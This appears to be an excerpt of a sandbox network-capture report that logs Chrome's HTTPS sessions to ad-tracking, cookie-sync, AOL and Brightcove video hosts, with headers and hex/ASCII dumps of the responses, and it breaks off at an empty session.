2024-05-23 22:35:12 UTC	638	OUT	GET /pixel?gdpr=0&gdpr_consent=&pid=3b2cb90&t=gif&uid=9feb68017206b52a HTTP/1.1 Host: ps.eyeota.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:12 UTC	741	IN	HTTP/1.1 302 Found Connection: close Set-Cookie: mako_uid=18fa798132e-20f10000010f4f61; Domain=eyeota.net; Path=/; Expires=Fri, 23 May 2025 22:35:12 GMT; Secure; SameSite=None; Set-Cookie: SERVERID=20321~DM; Domain=eyeota.net; Path=/; Expires=Thu, 23 May 2024 22:45:12 GMT; Secure; SameSite=None; P3P: CP="CURa ADMa DEVa TAIo PSAo PSDo OUR SAMo BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR", policyref="http://ps.eyeota.net/w3c/p3p.xml" P3P: CP="CURa ADMa DEVa TAIo PSAo PSDo OUR SAMo BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR", policyref="http://ps.eyeota.net/w3c/p3p.xml" Location: /pixel/bounce/?gdpr=0&gdpr_consent=&pid=3b2cb90&t=gif&uid=9feb68017206b52a Content-Length: 0 Date: Thu, 23 May 2024 22:35:12 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
614	192.168.2.6	50421	116.202.167.155	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	859	OUT	GET /adxcm.aspx?ssp=D41B0D84-4DB7-4D9C-81CC-3A497DB5D0A6&gdpr=0&consent=&rurl=%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D354%26user_id%3D%24%24visitor_cookie%24%24%26ssp%3Dmedianet%26bsw_param%3Dad3998d2-fd62-4225-919d-66f459efadb2%26gdpr%3D0%26consent%3D%26gdpr_pd%3D1%26expires%3D7 HTTP/1.1 Host: inv-nets.admixer.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:12 UTC	580	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 23 May 2024 22:35:12 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Xss-Protection: 0 P3p: CP="NID DSP ALL COR" Location: https://x.bidswitch.net/sync?dsp_id=354&user_id=61a17c46e93048d9879e0b4ddec1c25a&ssp=medianet&bsw_param=ad3998d2-fd62-4225-919d-66f459efadb2&gdpr=0&consent=&gdpr_pd=1&expires=7 Set-Cookie: am-uid=61a17c46e93048d9879e0b4ddec1c25a; expires=Wed, 21 Aug 2024 22:35:12 GMT; domain=.admixer.net; secure; SameSite=None Keep-Alive: timeout=25

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.6	50224	185.184.8.90	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	661	OUT	GET /cm-notify?pi=medianet HTTP/1.1 Host: creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: g=vppXXAv6rWDZQ1hfNXAq_1716503699836; ts=1716503699
2024-05-23 22:35:12 UTC	443	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:12 GMT vary: Accept-Encoding location: https://contextual.media.net/cksync.php?cs=1&vsid=%7BMedia.net_User_id%7D&type=rbh&ovsid=VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&pi=medianet cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Thu, 23 May 2024 22:35:12 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.6	50445	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	967	OUT	GET /pixel?google_nid=beeswaxio&google_sc=&google_hm=QUFOUkYwN01uNGtBQUJXTkpRcm9Sdw&gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csas%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:12 UTC	737	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://match.prod.bidr.io/cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csas%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 Date: Thu, 23 May 2024 22:35:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 384 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:12 UTC	384	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 70 72 6f 64 2e 62 69 64 72 2e 69 6f 2f 63 6f 6f 6b 69 65 2d 73 79 6e 63 2f 61 64 78 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 62 65 65 5f 73 79 6e 63 5f 70 61 72 74 6e 65 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://match.prod.bidr.io/cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partne

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.6	50446	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	567	OUT	GET /psstatic/aolhelp-prod/18.5.53/assets/modules/en-bundle-0.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:12 UTC	862	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 197321 Content-Type: application/javascript Date: Thu, 23 May 2024 22:35:12 GMT Etag: "cf85aeb614633bcb684c9f1806506930" Last-Modified: Mon, 06 May 2024 22:01:34 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35B7) Vary: Accept-Encoding x-amz-id-2: 1Lt1wJ6cQ/zjgM5epiX/7ZlIkscQkLQVuDPvy90mhXKRJ31f0D8oNtUaHavrJyMqMXILd8RtXhw= x-amz-request-id: 5YSNFDM3QFZ961QZ x-amz-server-side-encryption: AES256 X-Cache: HIT Content-Length: 32860 Connection: close
2024-05-23 22:35:12 UTC	16383	IN	Data Raw: 28 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 3d 77 69 6e 64 6f 77 2e 77 65 62 70 61 63 6b 4a 73 6f 6e 70 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 30 5d 2c 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 22 22 3b 69 66 28 65 2e 6e 61 6d 65 56 61 6c 75 65 50 61 69 72 73 29 7b 76 61 72 20 61 3d 65 2e 6e 61 6d 65 56 61 6c 75 65 50 61 69 72 73 2e 73 6e 54 79 70 65 7c 7c 6e 75 6c 6c 2c 69 3d 65 2e 6e 61 6d 65 56 61 6c 75 65 50 61 69 72 73 2e 6d 61 73 74 65 72 41 63 63 6f 75 6e 74 4e 75 6d 62 65 72 7c 7c 6e 75 6c 6c 2c 6c 3d 65 2e 6e 61 6d 65 56 61 6c 75 65 50 61 69 72 73 2e 62 69 64 7c 7c 6e 75 6c 6c 2c 6f 3d 65 2e 6e 61 6d 65 56 61 6c 75 65 50 61 69 72 73 2e 73 Data Ascii: (window.webpackJsonp=window.webpackJsonp\|\|[]).push([[0],[function(e,n,t){e.exports=function(e){var n="";if(e.nameValuePairs){var a=e.nameValuePairs.snType\|\|null,i=e.nameValuePairs.masterAccountNumber\|\|null,l=e.nameValuePairs.bid\|\|null,o=e.nameValuePairs.s
2024-05-23 22:35:12 UTC	1	IN	Data Raw: 29 Data Ascii: )
2024-05-23 22:35:13 UTC	16383	IN	Data Raw: 22 7d 29 2c 65 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 73 29 7d 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 77 69 6e 64 6f 77 2e 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 2e 63 68 61 74 62 6f 74 2e 63 6c 69 65 6e 74 53 63 72 69 70 74 53 72 63 2c 74 3d 65 2e 70 72 6f 66 69 6c 65 2e 75 73 65 72 45 6d 61 69 6c 7c 7c 76 6f 69 64 20 30 3b 77 69 6e 64 6f 77 2e 41 49 53 3d 7b 63 68 61 74 62 6f 74 43 6f 6e 66 69 67 3a 7b 6f 70 74 69 6f 6e 73 3a 7b 64 65 62 75 67 3a 21 30 2c 73 65 73 73 69 6f 6e 54 54 4c 3a 77 69 6e 64 6f 77 2e 41 6f 6c 48 65 6c 70 47 6c 6f 62 61 6c 73 2e 63 68 61 74 62 6f 74 2e 73 65 73 73 69 6f 6e 54 54 4c 2c 74 65 72 Data Ascii: "}),e.currentTarget.removeEventListener("click",s)}e.exports=function(e){var n=window.AolHelpGlobals.chatbot.clientScriptSrc,t=e.profile.userEmail\|\|void 0;window.AIS={chatbotConfig:{options:{debug:!0,sessionTTL:window.AolHelpGlobals.chatbot.sessionTTL,ter
2024-05-23 22:35:13 UTC	93	IN	Data Raw: 6e 3e 27 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 65 2e 65 78 70 6f 72 74 73 3d 74 2e 70 2b 22 6d 6f 64 75 6c 65 2d 63 68 61 74 62 6f 74 2d 67 70 74 2d 63 68 61 74 5f 69 63 6f 6e 2e 73 76 67 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 7d 5d 5d 29 3b Data Ascii: n>'}},function(e,n,t){e.exports=t.p+"module-chatbot-gpt-chat_icon.svg"},function(e,n,t){}]]);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.6	50447	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	981	OUT	POST /p?s=1197803361&t=1716503701319&_I=&_AO=0&_NOL=0&etag=performance&etrg=backgroundPost&outcm=performance&usergenf=0&src=unknown&site=aol&partner=unknown&lang=en-US&region=US&device=desktop&colo=eu-west-1&test=aol-acookie-control%2Caol-aa-1&rid=30rmpplj4vh3m&pd=unknown&pt=home&A_utm=%7B%22GAM_READY_TIME%22%3A32638%7D HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:13 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:12 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:12 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:13 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.6	50449	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	1389	OUT	GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/7ee98cd0-735a-4f5b-b409-44803cff9bc0/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfMmJmZjBlZTViY2Q3YWU5YmI5MTExYWE4YzZhOTg5NTgzOWI1NzA1NmViNjE2YTQyNmFiY2E1MGE4ODQyMzYyMg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:13 UTC	657	IN	HTTP/1.1 200 OK Connection: close Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Age: 0 Date: Thu, 23 May 2024 22:35:13 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890033-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503713.989175,VS0,VE47 X-Device-Group: desktop-chrome transfer-encoding: chunked
2024-05-23 22:35:13 UTC	5	IN	Data Raw: 31 34 34 0d 0a Data Ascii: 144
2024-05-23 22:35:13 UTC	324	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 4b 45 59 3a 4d 45 54 48 4f 44 3d 41 45 53 2d 31 32 38 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6c 69 63 65 6e 73 65 2f 76 31 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 44 46 6a 5a 44 56 66 59 32 49 77 5a 6a 4e 68 5a 6a 55 31 5a 6a 6b 77 5a 6a 52 6d 4d 32 59 34 5a 6d 49 35 4e 6d 49 33 4d 44 Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZDVfY2IwZjNhZjU1ZjkwZjRmM2Y4ZmI5NmI3MD
2024-05-23 22:35:13 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:13 UTC	5	IN	Data Raw: 32 32 62 0d 0a Data Ascii: 22b
2024-05-23 22:35:13 UTC	555	IN	Data Raw: 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 47 78 68 65 57 4a 68 59 32 73 75 59 58 42 70 4c 6d 4a 79 61 57 64 6f 64 47 4e 76 64 6d 55 75 59 32 39 74 49 6c 30 73 49 6d 46 6a 59 32 6c 6b 49 6a 6f 69 4e 6a 51 78 4e 54 59 32 4e 54 67 78 4e 54 41 77 4d 53 49 73 49 6e 42 72 61 57 51 69 4f 69 49 35 4d 6a 45 34 4e 44 4d 79 4d 43 30 34 5a 6d 59 7a 4c 54 51 31 5a 54 6b 74 59 6a 59 77 4d 43 30 35 4f 54 42 6d 4f 44 49 79 59 7a 67 32 4e 6a 63 69 4c 43 4a 6c 65 48 41 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 35 4f 54 51 73 49 6d 6c 68 64 43 49 36 4d 54 63 78 4e 6a 55 77 4d 7a 59 35 4e 48 30 2e 75 48 6f 57 44 53 76 67 72 46 69 49 52 33 53 56 4c 75 42 36 45 6d 47 34 73 72 6b 5f 52 73 37 70 45 56 74 4e 55 32 70 4e 6e 4c Data Ascii: eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnL
2024-05-23 22:35:13 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:13 UTC	6	IN	Data Raw: 31 36 37 65 0d 0a Data Ascii: 167e
2024-05-23 22:35:13 UTC	1371	IN	Data Raw: 22 2c 49 56 3d 30 78 36 36 37 61 39 37 39 61 32 65 64 38 30 32 65 61 63 30 37 61 64 31 61 35 31 35 32 61 35 32 35 65 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 36 0a 23 45 58 54 49 4e 46 3a 36 2e 30 30 36 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 37 65 65 39 38 63 64 30 2d 37 33 35 61 2d 34 Data Ascii: ",IV=0x667a979a2ed802eac07ad1a5152a525e#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:6#EXTINF:6.006,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/7ee98cd0-735a-4
2024-05-23 22:35:13 UTC	1371	IN	Data Raw: 31 65 2f 37 65 65 39 38 63 64 30 2d 37 33 35 61 2d 34 66 35 62 2d 62 34 30 39 2d 34 34 38 30 33 63 66 66 39 62 63 30 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 36 62 61 63 32 62 32 38 33 35 65 39 32 37 36 34 37 63 33 34 38 37 37 31 61 37 66 36 65 33 33 63 36 66 35 35 61 66 35 64 31 31 66 38 34 31 30 33 38 61 33 31 66 65 37 65 32 34 38 38 62 61 62 64 0a 23 45 58 54 49 4e 46 3a 36 2e 30 30 36 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 Data Ascii: 1e/7ee98cd0-735a-4f5b-b409-44803cff9bc0/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=6bac2b2835e927647c348771a7f6e33c6f55af5d11f841038a31fe7e2488babd#EXTINF:6.006,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40
2024-05-23 22:35:13 UTC	1371	IN	Data Raw: 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 37 65 65 39 38 63 64 30 2d 37 33 35 61 2d 34 66 35 62 2d 62 34 30 39 2d 34 34 38 30 33 63 66 66 39 62 63 30 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 36 62 61 63 32 62 32 38 33 35 65 39 32 37 36 34 37 63 33 34 38 37 37 31 61 37 66 36 65 33 33 63 36 66 35 35 61 66 35 64 31 31 66 38 34 31 30 33 38 61 33 31 66 65 37 65 32 34 38 38 62 61 62 64 0a 23 45 58 54 49 4e 46 3a 36 2e 30 30 36 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 Data Ascii: 1/6b9daf23-4bde-40fd-8649-5be6dcb9691e/7ee98cd0-735a-4f5b-b409-44803cff9bc0/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=6bac2b2835e927647c348771a7f6e33c6f55af5d11f841038a31fe7e2488babd#EXTINF:6.006,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.6	50456	69.166.1.67	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
